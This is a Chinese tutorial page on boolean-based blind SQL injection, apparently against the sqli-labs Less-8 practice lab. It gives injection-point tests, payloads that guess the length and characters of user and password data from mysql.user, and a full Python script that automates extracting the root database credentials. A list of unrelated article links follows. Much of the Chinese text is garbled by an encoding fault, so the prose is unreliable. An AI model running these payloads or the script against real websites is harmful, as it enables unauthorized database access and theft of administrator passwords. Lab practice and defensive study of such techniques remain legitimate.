Python猜解網(wǎng)站數(shù)據(jù)庫管理員密碼的腳本
一、功能分析
簡單分析一下網(wǎng)站的功能,大致如下:
需要用戶在地址欄中提交參數(shù),根據(jù)參數(shù)中的id查詢對(duì)應(yīng)的用戶信息。
如果id存在,則顯示查詢成功,比如 輸入?id=1
如果id不存在,則頁面空顯示,比如輸入 ?id=0(用戶id不能是0或負(fù)數(shù),id為0時(shí),查詢結(jié)果為空,會(huì)導(dǎo)致頁面空顯示)
如果數(shù)據(jù)庫報(bào)錯(cuò),頁面也是空顯示,比如輸入?id=1’ 或 ?id=1"(參數(shù)中攜帶引號(hào)會(huì)導(dǎo)致數(shù)據(jù)庫報(bào)錯(cuò),前提是后臺(tái)代碼未過濾單引號(hào))
二、思路分析
頁面沒有顯示位,不適合聯(lián)合注入。
沒有數(shù)據(jù)庫的報(bào)錯(cuò)信息,不適合使用報(bào)錯(cuò)注入。
只有正確和錯(cuò)誤兩種情況,推薦使用布爾盲注。
網(wǎng)站沒有過濾參數(shù),不需要繞過,盲注的時(shí)間復(fù)雜度較高,文末提供Python腳本。
三、步驟實(shí)現(xiàn)
1)判斷注入點(diǎn)
輸入?yún)?shù) ?id=1’,頁面空顯示,說明單引號(hào)被數(shù)據(jù)庫識(shí)別,導(dǎo)致數(shù)據(jù)庫報(bào)錯(cuò)。
輸入?yún)?shù) ?id=1",頁面正常顯示查詢成功,說明雙引號(hào)未被數(shù)據(jù)庫識(shí)別;1" 被數(shù)據(jù)庫識(shí)別成了 1,實(shí)際查詢了id為1的用戶。
單引號(hào)可以識(shí)別,雙引號(hào)不被識(shí)別,初步判斷:網(wǎng)站的注入點(diǎn)是單引號(hào),下面使用萬能賬號(hào)進(jìn)一步驗(yàn)證。
輸入 ?id=1’ and 1 – a,頁面正常顯示,查詢成功。
輸入 ?id=1’ and 0 – a,頁面空顯示,未查詢到。
人為構(gòu)造參數(shù)可以使頁面產(chǎn)生對(duì)應(yīng)的變化,由此判斷,網(wǎng)站存在注入,注入點(diǎn)為單引號(hào)字符型注入。
2)猜解長度
輸入?yún)?shù) ?id=1’ and length(“abc”)>1 – a,頁面正常顯示查詢成功。
length(“abc”)可以計(jì)算出字符串“abc”的長度,長度為3。
length(“abc”)>1 結(jié)果為 true,因此,參數(shù)等價(jià)于 ?id=1’ and 1 – a。
輸入?yún)?shù) ?id=1’ and length(“abc”)<1 – a,頁面空顯示。
length(“abc”)<1 結(jié)果為 false,參數(shù)等價(jià)于 ?id=1’ and 0 – a。
由此可以推斷出,長度函數(shù)未被過濾,可以正常使用,接下來我們開始猜解數(shù)據(jù)庫管理員密碼的長度。
mysql.user表用來存放數(shù)據(jù)庫的用戶名和密碼等信息,我們查詢這個(gè)表即可。
輸入以下payload:
?id=1' and length( (select group_concat(user,password) from mysql.user) )=1 -- a
我們先假設(shè)用戶名和密碼的總長度為1,結(jié)果肯定是空顯示,我們將測試長度依次遞增,測試2到n,當(dāng)測試長度遞增到42時(shí),頁面正常顯示,由此可判斷用戶名和密碼的總長度為42,payload如下:
?id=1' and length( (select group_concat(user,password) from mysql.user) )=42 -- a
3)猜解數(shù)據(jù)
長度確定后,我們從第一個(gè)字符開始,猜解出完整的數(shù)據(jù)。
ASCLL碼表中包含了字符的所有可能性(字母、數(shù)字或特殊符號(hào)),ASCLL總共127個(gè)字符,其中可輸入的字符只有32~126,我們窮舉每一種可能性,即可猜解出
完整的數(shù)據(jù)。
我們先假設(shè)第一個(gè)字符的ASCLL碼是32,payload如下:
?id=1' and ascii(substr( (select group_concat(user,password) from mysql.user) ,1,1))=32 -- a
頁面空顯示說明錯(cuò)誤,我們從32開始遞增至126,當(dāng)頁面正常顯示時(shí)(出現(xiàn) You are in……),說明猜解正確。
4)猜解腳本
使用盲注時(shí),手動(dòng)猜解時(shí)間成本太大,推薦使用Python猜解,腳本如下:
import requests # 只需要修改url 和 兩個(gè)payload即可 # 目標(biāo)網(wǎng)址(不帶參數(shù)) url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8" # 猜解長度使用的payload payload_len = """?id=1' and length(( select group_concat(user,password) from mysql.user ))={n} -- a""" # 枚舉字符使用的payload payload_str = """?id=1' and ascii(substr(( select group_concat(user,password) from mysql.user ),{n},1))={r} -- a """ # 獲取長度 def getLength(url, payload): length = 1 # 初始測試長度為1 while True: response = requests.get(url= url+payload_len.format(n= length)) # 頁面中出現(xiàn)此內(nèi)容則表示成功 if 'You are in...........' in response.text: print('測試長度完成,長度為:', length) return length; else: print('正在測試長度:',length) length += 1 # 測試長度遞增 # 獲取字符 def getStr(url, payload, length): str = '' # 初始表名/庫名為空 for l in range(1, length+1): for n in range(33, 126): response = requests.get(url= url+payload_str.format(n= l, r= n)) if 'You are in...........' in response.text: str+= chr(n) print('第', l, '個(gè)字符猜解成功:', str) break; return str; # 開始猜解 getStr(url, payload_str, getLength(url, payload_len))
腳本猜解結(jié)果如下,成功猜解root用戶密碼:
到此這篇關(guān)于Python猜解網(wǎng)站數(shù)據(jù)庫管理員密碼的腳本的文章就介紹到這了,更多相關(guān)Python猜解管理員密碼內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
如何在mac環(huán)境中用python處理protobuf
這篇文章主要介紹了如何在mac環(huán)境中用python處理protobuf,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-12-12Django開發(fā)web后端對(duì)比SpringBoot示例分析
這篇文章主要介紹了Django開發(fā)web后端對(duì)比SpringBoot示例分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-12-12python畫圖時(shí)設(shè)置分辨率和畫布大小的實(shí)現(xiàn)(plt.figure())
這篇文章主要介紹了python畫圖時(shí)設(shè)置分辨率和畫布大小的實(shí)現(xiàn)(plt.figure()),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2021-01-01pygame實(shí)現(xiàn)俄羅斯方塊游戲(基礎(chǔ)篇1)
這篇文章主要為大家介紹了pygame實(shí)現(xiàn)俄羅斯方塊游戲基礎(chǔ)的第1篇,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-10-10不到40行代碼用Python實(shí)現(xiàn)一個(gè)簡單的推薦系統(tǒng)
這篇文章主要給大家介紹了如何利用不到40行python代碼實(shí)現(xiàn)一個(gè)簡單的推薦系統(tǒng),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用Python具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧2019-05-05Python正則表達(dá)re模塊之findall()函數(shù)詳解
在python中,通過內(nèi)嵌集成re模塊可以直接調(diào)用來實(shí)現(xiàn)正則匹配,其中re.findall()函數(shù)可以遍歷匹配,可以獲取字符串中所有匹配的字符串,返回一個(gè)列表,這篇文章主要給大家介紹了關(guān)于Python正則表達(dá)re模塊之findall()函數(shù)的相關(guān)資料,需要的朋友可以參考下2022-07-07原理解析為什么pydantic可變對(duì)象沒有隨著修改而變化
這篇文章主要介紹了為什么pydantic可變對(duì)象沒有隨著修改而變化的原因解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-05-05